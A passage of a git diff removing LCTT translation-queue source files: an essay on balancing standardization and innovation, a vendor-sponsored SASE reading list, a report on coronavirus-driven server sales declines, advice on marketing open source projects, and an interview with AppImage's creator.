safety.** Think about the electricity in your own home and the history of electrical systems. In the early days of electrification, companies competed to establish individual standards for basic elements like plug configurations and safety requirements like insulation. Thanks to standardization, when you buy a light bulb today you can be sure that it will fit and not start a fire. - * **Lower costs and more dependable, repeatable processes.** Standarsization frees people in organizations to focus more attention on other things—products, for instance—and not on the need to coordinate the use of potentially conflicting new tools and processes. And it can make people's skills more portable (or, in budgeting terms more "fungible") across projects, since all projects share a common set of standards. In addition to helping project teams be more flexible, this portability of skills makes it easier for people to adopt new assignments. - * **Consistent measurements.** Creating a set of consistent metrics people can use to assess product quality across multiple products or multiple releases of individual products is possible through standardization. Without it, applying this kind of consistent measurement to product quality and maintaining any kind of history of tracking such quality can be difficult. Standardization effectively provides the organization a common language for measuring quality. - - - -A danger of standardization arises when it becomes an all-consuming end in itself. A constant push to standardize can result in it inadvertently stifling creativity and innovation. If taken too far, policies that over emphasize standardization appear to discourage support for people's need to find new solutions to new problems. Taken to an extreme, this can lead to a suffocating organizational atmosphere in which people are reluctant to propose new solutions in the interest of maintaining standardization or conformity. In an open organization especially focused on generating new value and solutions, an attempt to impose standardization can have a negative impact on team morale. - -Viewing new challenges through the lens of former solutions is natural. Likewise, it's common (and in fact generally practical) to apply legacy tools and processes to solving new problems. - -But in open organizations, change is constant. We must always adapt to it. - -Finding and maintaining the correct balance between standardization and innovation is critical during times of organizational change. - -### The need for innovation - -Digital technology changes at a rapid rate, and that rate of change is always increasing. New opportunities result in new problems that require new solutions. Any organization must be able to adapt and its people must have the freedom to innovate. This is even more important in an open organization and with open source source software, as many of the factors (e.g., restrictive licenses) that blocked innovation in the past no longer apply. - -When considering the prospect of innovation in your organization, keep in mind the following: - - * **Standardization doesn't have to be the end of innovation.** Even tools and processes that are firmly established and in use by an organization were once very new and untried, and they only came about through processes of organizational innovation. - * **Progress through innovation also involves failure.** It's very often the case that some innovations fail, but when they fail, they point the way forward to solutions. This progress therefore requires that an organization protect the freedom to fail. (In competitive sports, athletes and teams seldom learn lessons from easy victories; they learn lessons about how to win, including how to innovate to win, from failures and defeats.) - - - -Freedom to innovate, however, cannot be freedom to do whatever the heck we feel like doing. The challenge for any organization is to be able to encourage and inspire innovation, but at the same time to keep innovation efforts focused towards meeting your organization's goals and to address the problems that you're trying to solve. - -In closed organizations, leaders may be inclined to impose rigid, top-down limits on innovation. A better approach is to instead provide a direction or path forward in terms of goals and deliverables, and then enable people to find their own ways along that path. That forward path is usually not a straight line; [innovation is almost never a linear process][2]. Like a sailboat making progress into the wind, it's sometimes [necessary to "tack" or go sideways][3] in order to make forward progress. - -### Blending standardization with focused innovation - -Are we doomed to always think of standardization as the broccoli we must eat, while innovation is the ice cream we want to eat? - -Are we doomed to always think of standardization as the broccoli we _must_ eat, while innovation is the ice cream we _want_ to eat? - -It doesn't have to be this way. - -Perceptions play a role in the conflict between standardization and innovation. People who only want to focus on standardization must remember that even the tools and processes that they want to promote as "the standard" were once new and represented change. Likewise, people who only want to focus on innovation have to remember that in order for a tool or process to provide value to an organization, it has to be stable enough for that organization to use it over time. - -An important element of any successful organization, especially an open organization where everyone is free to express their views, is empathy for other people's views. A little empathy is necessary for understanding both perceptions of impending change. - -I've always thought about standardization and innovation as being two halves of one solution. A good analogy is that of college course catalog. In many colleges, all incoming first-year students regardless of their major will take a core set of classes. These core classes can cover a wide range of subjects and provide each student with an educational foundation. Every student receives a standard grounding in these disciplines regardless of their major course of study. Beyond the standardized core curriculum, then, each student is free to take specialized courses depending upon his or her major degree requirements and selected elective courses, as they work to innovate in their respective fields. - -Similarly, standardization provides a foundation on which innovation can build. Think of standardization as a core set of tools and practices you might applied to _all_ products. Innovation can take the form of tools and practices that go _above and beyond_ this standard. This will enable every team to extend the core set of standardized tools and processes to meet the individual needs of their own specific projects. Standardization does not mean that all forward-looking actions stop. Over time, what was an innovation can become a standard, and thereby make room for the next innovation (and the next). - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/2/standardization-versus-innovation - -作者:[Len Dimaggio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ldimaggi -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/migration_innovation_computer_software.png?itok=VCFLtd0q (and old computer and a new computer, representing migration to new software or hardware) -[2]: https://opensource.com/open-organization/19/6/innovation-delusion -[3]: https://opensource.com/open-organization/18/5/navigating-disruption-1 diff --git a/sources/talk/20200212 A SASE Crash Course.md b/sources/talk/20200212 A SASE Crash Course.md deleted file mode 100644 index 88e85a9c15..0000000000 --- a/sources/talk/20200212 A SASE Crash Course.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A SASE Crash Course) -[#]: via: (https://www.networkworld.com/article/3526455/a-sase-crash-course.html) -[#]: author: (Cato Networks https://www.networkworld.com/author/Matt-Conran/) - -A SASE Crash Course -====== -Get up to speed fast on the Secure Access Service Edge, an emerging converged networking and security category that Gartner has labelled transformational. -peshkov - -2020! What could better motivate you to push ahead with your resolutions and organization’s digital transformation than a new year AND a new decade. As you put together your digital strategy, check out a new transformation-empowering (and transformational) technology category Gartner coined the [Secure Access Service Edge][1] or SASE (pronounced “Sassy”). SASE converges wide area networking and identity-based security into a cloud service targeted directly to your branch offices, mobile users, cloud services, and even IoT devices, wherever they happen to be. The result: consistently high WAN performance, security, productivity, agility, and flexibility across the global, mobile, cloud-enabled enterprise. - -To jumpstart your research into one of the few networking categories Gartner has labelled “transformational,” we’ve put together a very workable SASE crash course and reading list. Each lesson helps you dig a little deeper into SASE, so you can develop a good grasp of its components and transformational potential. - -**Lesson 1: SASE as Defined by Gartner** - -So, what is SASE exactly and why should you care? SASE was coined by [Gartner][2] analysts Neil McDonald and Joe Skorupa in a [July 29, 2019 Networking Hype Cycle][3] [Market Trends Report, How to Win as WAN Edge and Security Converge into the Secure Access Service Edge][4] and an August 30, 2019 [Gartner][2] report, The Future of Network Security is in the Cloud. If you don’t have access to these reports, Cato quotes the highlights of the former word for word in this short blog: [The Secure Access Service Edge (SASE), as Described in Gartner’s Hype Cycle for Enterprise Networking, 2019][5]. It’s a great place to get started on exactly what Gartner has to say about SASE and its drivers, likely development, and place in the digitally transforming enterprise. There are also some valuable links to more information on SASE and exactly how the Cato cloud fits into the SASE trend. - -**Lesson 2: What SASE _Is_ and What It _Isn’t_** - -After Gartner piques your interest, get some valuable insight from Cato in this blog: [The Secure Access Service Edge (SASE): Here’s Where Your Digital Business Network Starts][6]. Here you can learn why convergence of wide area networking and security is absolutely vital for the agile, digitally transforming enterprise and why legacy data center-centric solutions can’t deliver any more in a world of user mobility and the cloud. This blog breaks down the four essential attributes of SASE—identity driven, cloud native, support for all edges, and globally distributed—in detail. It also explains why SASE is _not_ anything like telco-managed services and summarizes how Cato delivers SASE effectively. - -**Lesson 3: How Cato Delivers SASE** - -Sometimes visual/audio-based learning can bring things into better focus than straight text, and few people are better at explaining WAN and security concepts than Yishay Yovel, Cato Network’s Chief Marketing Officer. In this short, 17-minute video presentation, [Intro to SASE by Yishay][7], Yishay digs into Gartner’s take on SASE, why WAN and security need to converge, and why SASE is one of only three (out of 29) Networking Hype Cycle categories that Gartner has labeled “transformational.” Yishay gets into a lot of nitty-gritty SASE details and offers valuable perspective on how Cato Networks delivers a complete cloud-native SASE software stack that supports all edges and is identity-driven, scalable, flexible, and easy to deploy and manage. Yishay also explains clearly why some of the other WAN and security solutions out there don’t fulfill some essential requirements of SASE, such as processing traffic close to the source. For visual learners, there are also some great architectural diagrams. - -**Lesson 4: Gartner Webinar Breaks Down SASE and its Implications** - -You’ve heard it from Yishay, now hear it from Gartner’s VP Distinguished Analyst Neil MacDonald _and_ Yishay in this 37-minute [Gartner Webinar: Is SASE the Future of SD-WAN and Network Security][8]? MacDonald explains SASE elements and drivers in depth, why SASE belongs in the cloud, how enterprises will adopt SASE, and how organizations should evaluate SASE offerings. There’s some good detail here on how SASE works in different contexts and scenarios, such as a mobile employee connecting to Salesforce securely from the airport, a contractor accessing a Web application from an unmanaged device, and even wind turbines collecting and aggregating data and sending it to the cloud for processing. Neil digs into core SASE requirements and recommends additional services and some other useful options. Yishay then takes over with why Cato is the world’s first true SASE platform. - -**Lesson 5: The White Paper** - -But wait, there’s more. Here’s a clear and concise white paper from Cato, [The Network for the Digital Business Starts with the Secure Access Service Edge][9]. This is a good piece to give out to the other digital transformation stakeholders in your business if you want them to get up to speed on SASE fast. It’s a quick read that explains why the digital, mobile, cloud-enabled business needs a new converged network/security model. It also covers the four elements of SASE, core SASE capabilities, SASE benefits, and clear examples of what SASE _isn’t_ and why. It describes the features that make Cato one of the most comprehensive SASE offerings on the market. It’s a clear, concise presentation broken into short paragraphs and bullet points to provide a fast introduction to SASE and the Cato Cloud. - -**Lesson 6: Icing on the Cake: The Short and Sweet Video** - -[SASE (Secure Access Service Edge)][10] is a short YouTube video to go along with the white paper, combining perspective and information from Gartner and Cato on why you need SASE simplicity for your digital transforming business. - -We hope you have a happy, healthy, transforming New Year. To accelerate your organization’s digital transformation over the next decade, get up to speed on SASE with these useful blogs, videos, and white papers and find out how SASE can help you make that transformation happen quickly and more easily. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3526455/a-sase-crash-course.html - -作者:[Cato Networks][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Matt-Conran/ -[b]: https://github.com/lujun9972 -[1]: http://www.catonetworks.com/sase?utm_source=idg -[2]: https://en.wikipedia.org/wiki/Gartner -[3]: https://www.gartner.com/en/documents/3947237 -[4]: https://www.gartner.com/en/documents/3953690/market-trends-how-to-win-as-wan-edge-and-security-conver -[5]: https://www.catonetworks.com/blog/the-secure-access-service-edge-sase-as-described-in-gartners-hype-cycle-for-enterprise-networking-2019/ -[6]: https://www.catonetworks.com/blog/the-secure-access-service-edge-sase?utm_source=idg -[7]: https://catonetworks.wistia.com/medias/kn86smj7q4 -[8]: https://go.catonetworks.com/VOD-REG-Gartner-SASE?utm_source=idg -[9]: https://go.catonetworks.com/The-Network-Starts-with-SASE?utm_source=idg -[10]: https://www.youtube.com/watch?v=gLN4NUbjml8 diff --git a/sources/talk/20200213 Server sales projected to decline 10- due to coronavirus.md b/sources/talk/20200213 Server sales projected to decline 10- due to coronavirus.md deleted file mode 100644 index 32852586e1..0000000000 --- a/sources/talk/20200213 Server sales projected to decline 10- due to coronavirus.md +++ /dev/null @@ -1,63 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Server sales projected to decline 10% due to coronavirus) -[#]: via: (https://www.networkworld.com/article/3526605/server-sales-projected-to-decline-10-due-to-coronavirus.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Server sales projected to decline 10% due to coronavirus -====== -Demand isn’t tapering off, but China is grinding to a halt under the strain of the pandemic. -Writerfantast / Getty Images - -Global server sales had been projected to grow by 1.2% compared to the most recent quarter, but the chaos wrought by the coronavirus in China will cause sales to decline 9.8% sequentially, according to DigiTimes Research. - -DigiTimes is an IT publication based in Taiwan. Its proximity to Taiwanese and Chinese vendors gives it some good sources, but it can also be way off target. However, the signs are piling up that coronavirus is causing some real mayhem. - -For example, DigiTimes also [reported][1] that less than 20% of Chinese factory employees would return to work after an extended Lunar New Year break due to the coronavirus outbreak, and that many components plants in China have decided not to restart production until February 25. - -**[ Now read: [What is quantum computing (and why enterprises should care)][2] ]** - -The Lunar New Year was January 25, so that means Chinese factories have been idle for a month. That’s a lot of supply not being answered, and DigiTimes notes that server demand from large data centers remained strong in the first quarter of 2020. - -Facebook in particular is interested in buying high-density models from white box vendors like Wiwynn and Quanta Computer, but due to the outbreak, these orders, which were originally scheduled for shipment this quarter, have been postponed. - -So it’s not like an economic crash is causing sales to go off a cliff like in 2008. Demand is there, but China can’t make the product right now. This year was expected to be a good year for the server vendors, with all of them projecting sales increases over last year. AMD is ramping up Epyc production, and Intel is expected to release its next-generation “Ice Lake” Xeon platform in the third or the fourth quarter of 2020. - -The good news here is that Wuhan isn’t a major tech manufacturing hub. It does have five display fabs, both LCD and OLED, but so does Shanhai. However, Wuhan has the most advanced display fabs, producing flexible OLEDs, and has the largest capacity, according to David Hsieh, senior director, displays, at Omdia. - -**[ [Get certified as an Apple Technical Coordinator with this seven-part online course from PluralSight.][3] ]** - -Vladimir Galabov, principal analyst for data-center compute in Omdia’s cloud and data-center research practice, also expects to see server shipments impacted by the coronavirus driving a prolonged holiday period in China. - -“I think the majority of the hit will be in the Chinese market,” he said. “This does impact server shipments globally as China represents about 30% of server shipments worldwide. So, I expect the quarterly decline to be more significant than the seasonal 10%. I expect that China will have a 5% additional downward impact on the growth.” - -He added that Q4 of 2019 did significantly overachieve his expectations due to cloud service providers making massive purchases. Omdia expected servers shipped in 2019 to be flat compared to 2018 based on data from 1Q19-3Q19. Instead, it was up 2% to 3% for the year, thanks to the fourth-quarter spurt. - -And servers aren’t the only products taking a hit. DigiTimes says that should the outbreak of the coronavirus last until June, sales of smartphones in the country would be slashed by about 30%, from a projected 400 million units to 280 million units in 2020. - -Also, Mobile World Congress in Barcelona is cancelled due to concerns about the global coronavirus outbreak. The [official cancellation][4] came after a number of big-name companies, including Intel, Cisco, Amazon, Sony, NTT Docomo LG, ZTE, Nvidia, and Ericsson, bowed out of various events that were set for the show.  - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3526605/server-sales-projected-to-decline-10-due-to-coronavirus.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.digitimes.com/news/a20200210VL202.html -[2]: https://www.networkworld.com/article/3275367/what-s-quantum-computing-and-why-enterprises-need-to-care.html -[3]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fapple-certified-technical-trainer-10-11 -[4]: https://www.mwcbarcelona.com/attend/safety-security/gsma-statement-on-mwc-2020/ -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200215 3 steps for product marketing your open source project.md b/sources/talk/20200215 3 steps for product marketing your open source project.md deleted file mode 100644 index 5f73f72bb2..0000000000 --- a/sources/talk/20200215 3 steps for product marketing your open source project.md +++ /dev/null @@ -1,115 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 steps for product marketing your open source project) -[#]: via: (https://opensource.com/article/20/2/product-marketing-open-source-project) -[#]: author: (Kevin Xu https://opensource.com/users/kevin-xu) - -3 steps for product marketing your open source project -====== -Marketing an open source project is mainly about education, and -traditional marketing techniques do not apply. -![People meeting][1] - -I frequently get questions from open source project creators or new founders of commercial open source software (COSS) companies about the best way to market their product. Implicit in that inquiry lies more foundational questions: "What the hell is product marketing? How much time should I spend on it?" - -This article aims to share some knowledge and specific action items to help open source creators understand product marketing as a concept and how to bootstrap it on their own until a project reaches the next level of traction. - -### What is product marketing? - -Product marketing for COSS is materially different from product marketing for proprietary software and from general marketing practices like ads, lead generation, sponsorships, booths at conferences and trade shows, etc. Because the source code is open for all to see and the project's evolutionary history is completely transparent, you need to articulate—from a technical level to a technical audience—how and why your project works. - -Using the word "marketing" in this context is, in fact, misleading. It's really about product _education_. Your role is more like a coach, mentor, or teaching assistant in a computer science class or a code bootcamp than a "marketing person." - -Proprietary software products rarely need this level of technical education because no one can see the source code anyway. Therefore, these companies focus on educating their audience about the product's business value, not its technical advantages. - -To build a successful open source project (and any commercial product that may be derived from it), you must educate your audience on _both_ its technical details and business value. - -While this may sound like extra work, it's an advantage inherent to COSS because so much buying power for technology products is shifting to developers. They care deeply about technical details and want to see and understand the source code. Being able to learn, appreciate, and have confidence in a project's technical design, architecture, and future roadmap are key to its adoption. - -Also, developers often treat open source technology as a way to scratch their technical itch and stay sharp in a fast-moving technology landscape. It's an audience that yearns for education, above all. - -Being able to speak to an audience that has these goals and desires is what product marketing and education in the COSS context is all about. - -### How to bootstrap product marketing - -So you (or maybe one or two other engineers) are laboring away to create your open source project, likely in the evening after your day job or on the weekends. How do you bootstrap some effective product marketing on your own? - -I recommend a three-step process to yield the best return for your time: - - 1. Peruse online forums - 2. Write content - 3. Do in-person meetups - - - -#### Online forums - -Rummaging through forums—from general ones like HackerNews and Reddit to ones like Discourse or Slack channels geared to projects that are closely related to what you are building—is a great way to figure out what questions developers have in your space. Starting with this step is less about inserting your project into the discussion and more about gathering ideas on what you should focus on when putting together educational materials about your project. - -Effectively, what you are doing is akin to "listening to your customer." - -Let's be honest; you already spend a lot of time on these forums anyway. The only change is one of mindset, not behavior: Have more focus, jot ideas down actively, practice absorbing critiques (you may see threads critical of your project), and develop some intuition about what developers are thinking about. - -This step assumes you don't already have an active community where developers are asking questions directly. The long-term goal is to build your own community, and good product marketing directly helps with this. - -#### Write - -Now that you have gathered some ideas, it's time to produce some content. Compared to formats like videos and podcasts, _writing_ is the highest-leveraged medium. It has the best long-tail benefits, is most suited for ongoing reference material, and can be most easily repackaged into other mediums. Another factor: open source has a global audience, many of whom might speak English as a second (third, or fourth) language, and written content is easily consumable at a person's own pace. - -Focus your writing on three categories that answer three fundamental questions: - - * What problem does your project solve? In other words: _Why should it exist?_ - * How is the project architected, and why is it done that way? _Is this a technically well-designed solution that has potential, thus worth investing time in?_ - * How do I get a taste of it? _How quickly can I get some value out of it?_ This is crucial to reducing your time-to-value metric to the shortest amount possible. For more on this topic, please read my article [_A framework for building products from open source projects_][2]. - - - -A smart way to begin is by writing three blog posts, each addressing one of the three points. The posts should be canonical to your specific project so that repackaging them into different formats (e.g., slide decks, Quora answers, Twitter threads, podcast interviews, etc.) for different channels should be straightforward. - -After you publish the posts, work the materials into your GitHub, GitLab, Bitbucket, or other repository along with the project's documentation. This is important because your public repo will likely be the face of your project for a long time, even if also you have a dedicated website. A repo with strong educational content will go a long way in building your social proof in the form of stars, forks, and downloads and may even yield some contributions. - -One note on writing: Be patient! Your words likely won't go viral overnight (unless you are a celebrity developer). But if the material is educational, useful, and accessible (no need for fancy language), it will draw attention to your project in time. You do your part, and let Google's SEO algorithm do its part. - -#### In-person meetups - -With a few posts out in the wild, the next step is to find an in-person meetup where you can give a presentation about your project using your writing as foundational material to build a compelling talk. - -You may wonder: "Why? Isn't doing something in-person the biggest time suck? I'd rather code!" - -True. You are not wrong. I recommend this step _specifically_ at this moment, not earlier or later, because you'll get feedback on your output more quickly than what the internet can give. Comments and feedback on your posts will trickle in, but giving a talk at a meetup, taking questions, and chatting with attendees afterward over pizza is valuable and immediate. - -The goal is not to shamelessly pitch your project (reminder: you are an educator, not a marketer), but to listen for the kinds of questions you get when you put your project (and yourself) out there. Another benefit is that it gives you practice delivering presentations, which will become important as your project grows, and you need to present in higher-stakes situations, including large conferences, demos with prospective users, etc. - -I know this may not be practical if you don't live in a tech hub where meetups are aplenty. You may want to look for groups that are open to doing virtual meetups via video or work this into your existing travel plans. (But don't fly across the world to talk at one meetup.) - -In-person meetups can feel scary. Public speaking is not for everyone, and it's a legitimate source of fear. My main tips: Just think of yourself as free entertainment, lower your expectations, don't overthink it, and offer yourself up to meetup organizers proactively because they will love you! Having been both a presenter and a meetup organizer, I know developer-focused meetups are very hungry for good technical education. - -### Final words - -There's a lot more nuance, strategy, and sheer work to effective product marketing, but I hope this post gives you enough guidance and specific action items to bootstrap it. Ultimately, you should still spend the bulk of your time building your technology. And if you have some revenue or funding, it's worth hiring someone who has deep expertise in product marketing, even as a part-time adviser. - -Frankly, product marketing talent is hard to find. You need someone with both the technical chops and curiosity to learn about your project on a deep level and the communication skills to compellingly tell the world about it. - -* * * - -_This article originally appeared on [COSS Media][3] and is republished with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/product-marketing-open-source-project - -作者:[Kevin Xu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kevin-xu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/people_team_community_group.png?itok=Nc_lTsUK (People meeting) -[2]: https://opensource.com/article/19/11/products-open-source-projects -[3]: https://coss.media/open-source-creator-product-marketing/ diff --git a/sources/talk/20200215 The Background Story of AppImage -Interview.md b/sources/talk/20200215 The Background Story of AppImage -Interview.md deleted file mode 100644 index d3e95a1a0f..0000000000 --- a/sources/talk/20200215 The Background Story of AppImage -Interview.md +++ /dev/null @@ -1,128 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Background Story of AppImage [Interview]) -[#]: via: (https://itsfoss.com/appimage-interview/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -The Background Story of AppImage [Interview] -====== - -As a Linux user, you might have come across [AppImages][1]. This is a portable packaging format that allows you to run an application on any Linux distribution. - -[Using AppImage][2] is really simple. You just need to give it execute permission and double click to run it, like the .exe files in Windows. This solves a major problem in Linux as different kind of distributions have different kind of packaging formats. You cannot [install .deb files][3] (of Debian/Ubuntu) on [Fedora][4] and vice versa. - -We talked to Simon, the developer of AppImage, about how and why he created this project. Read some of the interesting background story and insights Simon shares about AppImage. - -### Interacting with Simon Peter, the creator of AppImage - -![][5] - -_**It’s FOSS: Few people know about the person behind AppImage. How about sharing a little background information about yourself?**_ - -**Simon:** Hi, I’m Simon Peter, based near Frankfurt in Germany. My background is in Economics and Business Administration, but I’ve always been a tinkerer and hacker in my free time, and been working in tech ever since I graduated. - -AppImage, though, is strictly a hobby which I enjoy working on in my spare time. I do a lot of my AppImage work while I’m on a train going from here to there. Somehow I seem to be on the move all the time. Professionally, I work in the product management of a large telecommunications company. - -_**It’s FOSS: Why did you create AppImage?**_ - -**Simon:** The first computer I could get my hands on was a [Macintosh][6] in the late 80s. For me, this is the benchmark when it comes to simplicity and usability. When I started to experiment with Linux on the desktop, I always wished it was as elegant and simple to operate and gave me as much flexibility as the early Macs. - -When I tried Linux for the first time in the late 90s, I had to go through a cumbersome process formatting and partitioning hard disks, installing stuff – it took a lot of time and was really cumbersome. A couple of years later, I tried out a Linux Live CD-ROM. It was a complete game changer. You popped in the CD, booted the computer, and everything just worked, right out of the box. No installation, no configuration. The system was always in factory-new state whenever you rebooted the machine. Exactly how I liked it. - -There was only one downside: You could not install additional applications on a read-only CD. Packages always insisted on writing in /usr, where the Live CD was not writeable. Thus, I asked myself: Why can’t I just put applications wherever I want, like on a USB drive or a network share, as I am used from the Mac? How cool would it be if every application was just one single file that I could put wherever I want? And thus the idea for AppImage was born (back then under the name of “klik”). - -Turns out that over time Live systems have become more capable, but I still like the simplicity and freedom that comes with the “one app = one file” idea. For example, I want to be in control of where stuff resides on my hard disks. I want to decide what to update or not to update and when. For most tasks I need a stable, rarely-changing operating system with the latest applications. To this day all I ever run are Live systems, because the operating system “just works” out of the box without any installation or configuration on my side, and every time I reboot the machine I have a “factory new”, known-good state. - -_**It’s FOSS: What challenges did you face in the past and what challenges are you facing right now?**_ - -**Simon:** People told me that the idea was nuts, and I had no clue how “things are done on Linux”. Just about when I was beginning to give in, I came across a video of [Linus Torvalds][7] of all people who I noticed was complaining about many of the same things that I always had felt were too complicated when it came to distributing applications for Linux. While I was watching his rant, I also noticed, hey, AppImage actually solves many of those issues. Some time later, Linus came across AppImage, and he apparently liked the idea. That made me think, maybe it’s not that stupid an idea as people had made me believe all the time up to that point. - -Today, people tend to mention AppImage as “one of the new package formats” together with [Snap][8] and [Flatpak][9]. I think that’s comparing apples to oranges. Not only is AppImage not “new” (it’s been around since well over a decade by now), but also it has very different objectives and design principles than the other systems. AppImage is all about single-file application bundles that can be “managed” by nothing else than a web browser and a file manager. It’s meant for “mere morals”, end users, not system administrators. It needs no package manager, it needs no root rights, it needs nothing to be installed on the system. It gives complete freedom to application developers and users. - -_**It’s FOSS: AppImage is a “universal packaging system” and there you compete with Snap (backed by Ubuntu) and Flatpak (backed by Fedora). How do you plan to ‘fight’ against these big corporates?**_ - -**Simon:** See? That’s what I mean. AppImage plays in an entirely different playing field. - -AppImage wants to be what exe files or PortableApps are for Windows and what apps inside dmg files are on the Mac – but better. - -Besides, Snap (backed by [Canonical][10]) does not work out-of-the-box on Fedora, and Flatpak (backed by [Red Hat][11]) does not work out-of-the-box on Ubuntu. AppImages can run on either system, and many more, without the need to install anything. - -_**It’s FOSS: How do you see the adoption of AppImage? Are you happy with its growth?**_ - -**Simon:** As of early 2020, there are now around 1,000 official AppImages made by the respective application authors that are passing my compatibility tests and can run on the oldest still-supported Ubuntu LTS release, and hundreds more are being worked on as we speak. “Household name” applications like Inkscape, Kdenlive, KDevelop, LibreOffice, PrusaSlicer, Scribus, Slic3r, Ultimaker Cura (too many to name them all) are being distributed in AppImage format. This makes me very happy and I am always excited when I read about a new version being released on Twitter, and then am able to download and run the AppImage instantly, without having to wait for my Linux distribution to carry that new version, and without having to throw away the old (known-good) version just because I want to try out the new (bleeding edge) one. - -The adoption of AppImage is especially strong for nightly and continuous builds. This is because the “one app = one file” concept of AppImage lends itself especially well to try-out software, where you keep multiple versions around for testing purposes, and never have to install anything into the running system. Worst thing that can happen with AppImage is that an application does not launch. In that case, file a bug, delete the file, done. Worst thing that can happen with distribution packages: complete system breakage… - -_**It’s FOSS: One major issue with AppImage is that not all the developers provide an easy way of updating the AppImage versions. Any suggestions for handling it?**_ - -**Simon:** AppImage has this concept of “binary delta updates”. Think of it as “diff for applications”. A new version of an application comes out, you download only the parts that have changed, and apply them to the old version. As a result, you get both the old and the new version and can keep them in parallel until you have determined that you don’t need the old version any longer, and throw it away. - -In general, I don’t want to enforce anything with AppImage. Application authors are at liberty to control the whole experience. Up to now, application authors have to do some setup work to make AppImages with this update capability. That being said, I am convinced that if we make it easy enough for developers to get working binary delta updates “for free”, then many will offer them. To this end, I am currently working on a new set of tools written in Go that will set up updates almost automatically, and I hope this will significantly increase the percentage of AppImages that come with this capability. - -_**It’s FOSS: [Nitrux][12] is one of the rare distributions that relies heavily on AppImage. Or there any other such distributions? What can be done make AppImage more popular?**_ - -**Simon:** Linux distributions traditionally have thought of themselves as more than just the base operating system itself – they also wanted to control application distribution. Now, as Apple and Microsoft are trying to get more control over application distribution on their desktop platforms, the trend is slowly reversing in Linux land where people are slowly beginning to understand that distributions could be much more polished if they focused on the base operating system and left the packaging of applications to the application authors. - -To make AppImage more popular, I think users and application authors should continue to spread the word that upstream-provided AppImages are in many cases working better than distribution packages. With AppImage, you get a software stack where the application author had a chance to cherry-pick which versions of libraries work together, test and tune both functionality and performance. Who is surprised that the result tends to work better than a “random” combination of whatever versions happened to be in a Linux distribution at a certain, random point in time when a distribution release was put together? - -[Desktop environments][13] could greatly increase usability, not only for AppImages, but also for any other kind of “side-loaded” applications that are not being installed. Just see how a desktop environments handles double-clicking on an executable file that is missing the executable bit. Some are doing a great job in this regard, like [Deepin Linux][14]. Stuff tends to “just work” there as it should. - -Finally, I am currently working on a new set of tools written in Go which I hope will greatly simplify, and make yet more enjoyable, the production and consumption of AppImages. My goal here is to make things less complex for users, remove the need for configuration, make things “just work”, like on the early Macintoshes. Are there any Go developers out here interested to join the effort? - -_**It’s FOSS: I can see there is a website that lists available AppImage applications. Do you have plans to integrate it with other software managers on Linux or create a software manager for AppImage?**_ - -**Simon:** [appimage.github.io][15] lists AppImages that have passed my compatibility tests on the oldest still-supported Ubuntu LTS release. Projects creating app stores or software managers are free to use this data. Myself, I am not much interested in those things as I always download AppImages right from the respective project’s download pages. My typical AppImage discovery goes like this: - - 1. Read on Twitter that PrusaSlicer has this cool new feature - 2. Go to the PrusaSlicer GitHub project and read the release notes there - 3. While there, download the AppImage and have it running a few seconds later - - - -So for me personally, I have no need for app centers and app stores, but if people like them, they are free to put AppImages in there. I just never felt the need… - -_**It’s FOSS: What plans do you have for AppImage in future (new features that you plan to add)?**_ - -**Simon:** Simplify things even more, remove configuration options, make things “just work”. Reduce the number of GitHub projects needed to get the core AppImage experience for producing and consuming AppImages, including aspects like binary delta updates, sandboxing, etc. Improve usability. - -_**It’s FOSS: Does AppImage project makes money? What kind of support (if any) do you seek from the end users?**_ - -**Simon:** No, AppImage makes no money whatsoever. - -I’ll just request the readers to spread the word. Tell your favorite application’s authors that you’d like to see an AppImage, and why. - -* * * - -Team It’s FOSS congratulates Simon for his hard work. Please feel free to convey any message and queries to him in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/appimage-interview/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) 